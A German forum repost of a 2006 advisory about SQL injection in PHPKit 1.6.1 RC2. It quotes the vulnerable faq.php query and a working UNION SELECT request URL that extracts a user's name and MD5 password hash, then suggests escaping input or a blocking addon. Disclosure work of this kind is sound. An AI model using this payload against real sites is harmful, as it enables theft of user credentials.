gnarff
Goto Top

SQL-Injection in PHPKit

In PHPKit 1.6.1 RC2 befinden sich einige sehr kritische Sicherheitslücken, die es einem Angreifer unter Umständen ermöglichen, den MD5-Hash eines Users auszulesen.

Nachdem letzte Woche ein Exploit 1 aufgetaucht ist, das eine Lücke in der Datei misc/finduser.php ausnutzt, habe ich mir das Script einmal etwas näher angesehen.
Es befinden sich mindestens in den Datein guestbook/print.php und faq/faq.php Möglichkeiten, SQL-Code unterzuschieben.

Code faq/faq.php (Zeile 20 ff.):

if ($catid!=0) {

$getfaqinfo=$DB->query("SELECT *

FROM ".$db_tab['faq']."

WHERE faq_answer!='-'

AND faq_catid='".$catid."' //<-VULN

ORDER by faq_title ASC");

while($faqinfo=$DB->fetch_array($getfaqinfo)) {


Über eine manipulierte Anfrage an das Script kann das Passwort eines beliebigen Users ausgegeben werden:

/include.php?path=faq/faq.php&catid=-1'%20UNION%20SELECT%20

1,2,3,4,user_name,user_pw,7,8,9,10,11,12,13%20

FROM%20phpkit_user%20where%20%20user_id=1%20and%20'1'='1


Ein ähnlicher Fehler befindet sich auch in der Datei guestbook/print.php.

Da die Entwickler nach dem letzten Exploit leider keinen Patch gebracht haben, gehe ich davon aus, dass auch dieses mal keiner folgen wird.
Daher muss etwas "Dirty Patching" betrieben werden.
Einfachste Methode ist per mysql_real_escape_string die Eingabe des Users zu escapen.
Eine andere Möglichkeit ist das Addon Hack_Block , welches nicht nur vor dieser Attacke auf PHPKit schützt, sondern generell vor SQL-Injections schützen soll.
Habe das ganze mal kurz angetestet und war positiv überrascht.

[advisory by phillip niedziela - site; http://www.bb-pcsecurity.de/ vom 10.11.2006]

saludos
gnarff

Content-Key: 44371

Url: https://administrator.de/contentid/44371

Printed on: April 20, 2024 at 09:04 o'clock

Mitglied: 16568
16568 Nov 13, 2006 at 21:39:31 (UTC)
Goto Top
Wußt ich's doch, warum ich kein PHPKit einsetze ^^

Danke!


Lonesome Walker